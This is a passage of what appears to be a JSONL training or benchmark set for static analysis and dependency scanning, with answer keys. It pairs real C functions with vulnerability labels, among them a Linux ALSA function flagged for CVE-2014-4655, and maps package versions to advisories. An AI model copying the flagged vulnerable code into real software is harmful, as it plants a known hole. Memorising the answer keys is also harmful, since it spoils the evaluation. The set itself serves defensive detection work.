\"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 68\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 70\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 71\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 0\n },\n {\n \"token\": \"union\",\n \"ast_node\": \"union\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"short\",\n \"ast_node\": \"short\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \"unsigned_value\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"signed\",\n \"ast_node\": \"signed\",\n \"line\": 9,\n \"col\": 4\n },\n {\n \"token\": \"short\",\n \"ast_node\": \"short\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \"signed_value\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 18\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"quantum\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 4\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 5\n },\n {\n \"token\": \"register\",\n \"ast_node\": \"register\",\n \"line\": 16,\n \"col\": 2\n },\n {\n \"token\": \"ssize_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 16,\n \"col\": 11\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 4\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 17,\n \"col\": 5\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 19,\n \"col\": 2\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 19,\n \"col\": 11\n },\n {\n \"token\": \"buffer\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 4\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 20,\n \"col\": 10\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 20,\n \"col\": 11\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 20,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 20,\n \"col\": 13\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 22,\n \"col\": 2\n },\n {\n \"token\": \"short\",\n \"ast_node\": \"short\",\n \"line\": 22,\n \"col\": 11\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 23,\n \"col\": 4\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 23,\n \"col\": 9\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 25,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 25,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 25,\n \"col\": 6\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 25,\n \"col\": 7\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 25,\n \"col\": 14\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 25,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 25,\n \"col\": 17\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 26,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 26,\n \"col\": 10\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 26,\n \"col\": 11\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 26,\n \"col\": 12\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int snd_ctl_elem_add(struct snd_ctl_file *file,\n\t\t\t struct snd_ctl_elem_info *info, int replace)\n{\n\tstruct snd_card *card = file->card;\n\tstruct snd_kcontrol kctl, *_kctl;\n\tunsigned int access;\n\tlong private_size;\n \tstruct user_element *ue;\n \tint idx, err;\n \n\tif (!replace && card->user_ctl_count >= MAX_USER_CONTROLS)\n\t\treturn -ENOMEM;\n \tif (info->count < 1)\n \t\treturn -EINVAL;\n \taccess = info->access == 0 ? SNDRV_CTL_ELEM_ACCESS_READWRITE :\n\t\t(info->access & (SNDRV_CTL_ELEM_ACCESS_READWRITE|\n\t\t\t\t SNDRV_CTL_ELEM_ACCESS_INACTIVE|\n \t\t\t\t SNDRV_CTL_ELEM_ACCESS_TLV_READWRITE));\n \tinfo->id.numid = 0;\n \tmemset(&kctl, 0, sizeof(kctl));\n\tdown_write(&card->controls_rwsem);\n\t_kctl = snd_ctl_find_id(card, &info->id);\n\terr = 0;\n\tif (_kctl) {\n\t\tif (replace)\n\t\t\terr = snd_ctl_remove(card, _kctl);\n\t\telse\n\t\t\terr = -EBUSY;\n\t} else {\n\t\tif (replace)\n\t\t\terr = -ENOENT;\n \t}\n\tup_write(&card->controls_rwsem);\n\tif (err < 0)\n\t\treturn err;\n \tmemcpy(&kctl.id, &info->id, sizeof(info->id));\n \tkctl.count = info->owner ? info->owner : 1;\n \taccess |= SNDRV_CTL_ELEM_ACCESS_USER;\n\tif (info->type == SNDRV_CTL_ELEM_TYPE_ENUMERATED)\n\t\tkctl.info = snd_ctl_elem_user_enum_info;\n\telse\n\t\tkctl.info = snd_ctl_elem_user_info;\n\tif (access & SNDRV_CTL_ELEM_ACCESS_READ)\n\t\tkctl.get = snd_ctl_elem_user_get;\n\tif (access & SNDRV_CTL_ELEM_ACCESS_WRITE)\n\t\tkctl.put = snd_ctl_elem_user_put;\n\tif (access & SNDRV_CTL_ELEM_ACCESS_TLV_READWRITE) {\n\t\tkctl.tlv.c = snd_ctl_elem_user_tlv;\n\t\taccess |= SNDRV_CTL_ELEM_ACCESS_TLV_CALLBACK;\n\t}\n\tswitch (info->type) {\n\tcase SNDRV_CTL_ELEM_TYPE_BOOLEAN:\n\tcase SNDRV_CTL_ELEM_TYPE_INTEGER:\n\t\tprivate_size = sizeof(long);\n\t\tif (info->count > 128)\n\t\t\treturn -EINVAL;\n\t\tbreak;\n\tcase SNDRV_CTL_ELEM_TYPE_INTEGER64:\n\t\tprivate_size = sizeof(long long);\n\t\tif (info->count > 64)\n\t\t\treturn -EINVAL;\n\t\tbreak;\n\tcase SNDRV_CTL_ELEM_TYPE_ENUMERATED:\n\t\tprivate_size = sizeof(unsigned int);\n\t\tif (info->count > 128 || info->value.enumerated.items == 0)\n\t\t\treturn -EINVAL;\n\t\tbreak;\n\tcase SNDRV_CTL_ELEM_TYPE_BYTES:\n\t\tprivate_size = sizeof(unsigned char);\n\t\tif (info->count > 512)\n\t\t\treturn -EINVAL;\n\t\tbreak;\n\tcase SNDRV_CTL_ELEM_TYPE_IEC958:\n\t\tprivate_size = sizeof(struct snd_aes_iec958);\n\t\tif (info->count != 1)\n\t\t\treturn -EINVAL;\n\t\tbreak;\n\tdefault:\n\t\treturn -EINVAL;\n\t}\n\tprivate_size *= info->count;\n\tue = kzalloc(sizeof(struct user_element) + private_size, GFP_KERNEL);\n\tif (ue == NULL)\n\t\treturn -ENOMEM;\n\tue->card = card;\n\tue->info = *info;\n\tue->info.access = 0;\n\tue->elem_data = (char *)ue + sizeof(*ue);\n\tue->elem_data_size = private_size;\n\tif (ue->info.type == SNDRV_CTL_ELEM_TYPE_ENUMERATED) {\n\t\terr = snd_ctl_elem_init_enum_names(ue);\n\t\tif (err < 0) {\n\t\t\tkfree(ue);\n\t\t\treturn err;\n\t\t}\n\t}\n\tkctl.private_free = snd_ctl_elem_user_free;\n\t_kctl = snd_ctl_new(&kctl, access);\n\tif (_kctl == NULL) {\n\t\tkfree(ue->priv_data);\n\t\tkfree(ue);\n\t\treturn -ENOMEM;\n\t}\n\t_kctl->private_data = ue;\n\tfor (idx = 0; idx < _kctl->count; idx++)\n\t\t_kctl->vd[idx].owner = file;\n\terr = snd_ctl_add(card, _kctl);\n\tif (err < 0)\n\t\treturn err;\n\n\tdown_write(&card->controls_rwsem);\n\tcard->user_ctl_count++;\n\tup_write(&card->controls_rwsem);\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-4655\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 11,\n 12,\n 21,\n 22,\n 23,\n 24,\n 25,\n 26,\n 27,\n 28,\n 29,\n 30,\n 31,\n 33,\n 34,\n 35\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"snd_ctl_elem_add\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"snd_ctl_file\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"snd_ctl_elem_info\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 14\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 32\n },\n {\n \"token\": \"info\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 37\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 39\n },\n {\n \"token\": \"replace\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 50\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"snd_card\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"card\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"card\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"snd_kcontrol\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"kctl\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 21\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \"_kctl\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \"access\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"private_size\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"user_element\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \"ue\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 25\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"idx\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 6\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 14\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"replace\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 6\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 11,\n \"col\": 14\n },\n {\n \"token\": \"card\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 17\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \"user_ctl_count\",\n \"ast_node\": \"field_identifier\",\n \"line\": 11,\n \"col\": 23\n },\n {\n \"token\": \">=\",\n \"ast_node\": \">=\",\n \"line\": 11,\n \"col\": 38\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.james:james-server-jmap-draft\nInstalled version: 3.8.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.james:james-server-jmap-draft\",\n \"installed_version\": \"3.8.2\",\n \"note\": \"org.apache.james:james-server-jmap-draft 3.8.2 is at or above the fixed version for GHSA-57m2-h3fw-rxhw; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-91", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @astrojs/rss\nInstalled version: 1.0.0\nSummary: @astrojs/rss: XML Injection via Unescaped RSS Feed Fields", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-8j5q-mfj2-5q9q\",\n \"cve\": \"CVE-2026-59728\",\n \"aliases\": [\n \"CVE-2026-59728\"\n ],\n \"cwe\": \"CWE-91\",\n \"ecosystem\": \"npm\",\n \"package\": \"@astrojs/rss\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=1.0.0, <4.0.19\",\n \"fixed_version\": \"4.0.19\",\n \"finding\": \"@astrojs/rss: XML Injection via Unescaped RSS Feed Fields\",\n \"remediation\": \"Upgrade @astrojs/rss to 4.0.19 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void vmxnet3_pci_realize(PCIDevice *pci_dev, Error **errp)\n{\n DeviceState *dev = DEVICE(pci_dev);\n VMXNET3State *s = VMXNET3(pci_dev);\n int ret;\n\n VMW_CBPRN(\"Starting init...\");\n\n memory_region_init_io(&s->bar0, OBJECT(s), &b0_ops, s,\n \"vmxnet3-b0\", VMXNET3_PT_REG_SIZE);\n pci_register_bar(pci_dev, VMXNET3_BAR0_IDX,\n PCI_BASE_ADDRESS_SPACE_MEMORY, &s->bar0);\n\n memory_region_init_io(&s->bar1, OBJECT(s), &b1_ops, s,\n \"vmxnet3-b1\", VMXNET3_VD_REG_SIZE);\n pci_register_bar(pci_dev, VMXNET3_BAR1_IDX,\n PCI_BASE_ADDRESS_SPACE_MEMORY, &s->bar1);\n\n memory_region_init(&s->msix_bar, OBJECT(s), \"vmxnet3-msix-bar\",\n VMXNET3_MSIX_BAR_SIZE);\n pci_register_bar(pci_dev, VMXNET3_MSIX_BAR_IDX,\n PCI_BASE_ADDRESS_SPACE_MEMORY, &s->msix_bar);\n\n vmxnet3_reset_interrupt_states(s);\n\n /* Interrupt pin A */\n pci_dev->config[PCI_INTERRUPT_PIN] = 0x01;\n\n ret = msi_init(pci_dev, VMXNET3_MSI_OFFSET(s), VMXNET3_MAX_NMSIX_INTRS,\n VMXNET3_USE_64BIT, VMXNET3_PER_VECTOR_MASK, NULL);\n /* Any error other than -ENOTSUP(board's MSI support is broken)\n * is a programming error. Fall back to INTx silently on -ENOTSUP */\n assert(!ret || ret == -ENOTSUP);\n\n if (!vmxnet3_init_msix(s)) {\n VMW_WRPRN(\"Failed to initialize MSI-X, configuration is inconsistent.\");\n }\n\n vmxnet3_net_init(s);\n\n if (pci_is_express(pci_dev)) {\n if (pci_bus_is_express(pci_dev->bus)) {\n pcie_endpoint_cap_init(pci_dev, VMXNET3_EXP_EP_OFFSET);\n }\n\n pcie_dev_ser_num_init(pci_dev, VMXNET3_DSN_OFFSET,\n vmxnet3_device_serial_num(s));\n }\n\n register_savevm(dev, \"vmxnet3-msix\", -1, 1,\n vmxnet3_msix_save, vmxnet3_msix_load, s);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: svelte\nInstalled version: <5.55.7\nSummary: Svelte SSR vulnerable to cross-site scripting via spread attributes", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-pr6f-5x2q-rwfp\",\n \"cve\": \"CVE-2026-42599\",\n \"aliases\": [\n \"CVE-2026-42599\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"npm\",\n \"package\": \"svelte\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <5.55.7\",\n \"fixed_version\": \"5.55.7\",\n \"finding\": \"Svelte SSR vulnerable to cross-site scripting via spread attributes\",\n \"remediation\": \"Upgrade svelte to 5.55.7 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: keras\nInstalled version: 3.0.0\nSummary: Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (D...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-73\",\n \"cve\": \"CVE-2026-0897\",\n \"aliases\": [\n \"CVE-2026-0897\",\n \"GHSA-mgx6-5cf9-rr43\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"keras\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=3.0.0, <3.13.1\",\n \"fixed_version\": \"3.13.1\",\n \"finding\": \"Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (D...\",\n \"remediation\": \"Upgrade keras to 3.13.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: code.gitea.io/gitea\nInstalled version: 1.16.4\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"code.gitea.io/gitea\",\n \"installed_version\": \"1.16.4\",\n \"note\": \"code.gitea.io/gitea 1.16.4 is at or above the fixed version for GO-2022-0442; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static uint32_t fdctrl_read_statusA(FDCtrl *fdctrl)\n{\n uint32_t retval = fdctrl->sra;\n\n FLOPPY_DPRINTF(\"status register A: 0x%02x\\n\", retval);\n\n return retval;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-444", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: io.netty:netty-all\nInstalled version: 4.0.0.Beta1\nSummary: HTTP Request Smuggling in Netty", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-p979-4mfw-53vg\",\n \"cve\": \"CVE-2019-16869\",\n \"aliases\": [\n \"CVE-2019-16869\"\n ],\n \"cwe\": \"CWE-444\",\n \"ecosystem\": \"Maven\",\n \"package\": \"io.netty:netty-all\",\n \"severity\": \"high\",\n \"affected_versions\": \">=4.0.0.Beta1, <4.1.42.Final\",\n \"fixed_version\": \"4.1.42.Final\",\n \"finding\": \"HTTP Request Smuggling in Netty\",\n \"remediation\": \"Upgrade io.netty:netty-all to 4.1.42.Final or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-1321", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @rpldy/uploader\nInstalled version: <1.9.1\nSummary: @rpldy/uploader prototype pollution", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-pc47-g7gv-4gpw\",\n \"cve\": \"CVE-2024-57082\",\n \"aliases\": [\n \"CVE-2024-57082\"\n ],\n \"cwe\": \"CWE-1321\",\n \"ecosystem\": \"npm\",\n \"package\": \"@rpldy/uploader\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.9.1\",\n \"fixed_version\": \"1.9.1\",\n \"finding\": \"@rpldy/uploader prototype pollution\",\n \"remediation\": \"Upgrade @rpldy/uploader to 1.9.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/lxc/lxd\nInstalled version: 5.21.4\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/lxc/lxd\",\n \"installed_version\": \"5.21.4\",\n \"note\": \"github.com/lxc/lxd 5.21.4 is at or above the fixed version for GHSA-w2hg-2v4p-vmh6; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: pillow\nInstalled version: 13.0.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"pillow\",\n \"installed_version\": \"13.0.0\",\n \"note\": \"pillow 13.0.0 is at or above the fixed version for GHSA-5xm2-6676-qcp9; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void free_sockent_client (struct sockent_client *sec) /* {{{ */\n{\n if (sec->fd >= 0)\n {\n close (sec->fd);\n sec->fd = -1;\n }\n sfree (sec->addr);\n#if HAVE_LIBGCRYPT\n sfree (sec->username);\n sfree (sec->password);\n if (sec->cypher != NULL)\n gcry_cipher_close (sec->cypher);\n#endif\n} /* }}} void free_sockent_client */\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"collectd\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\",\n \"comment\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-184", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security 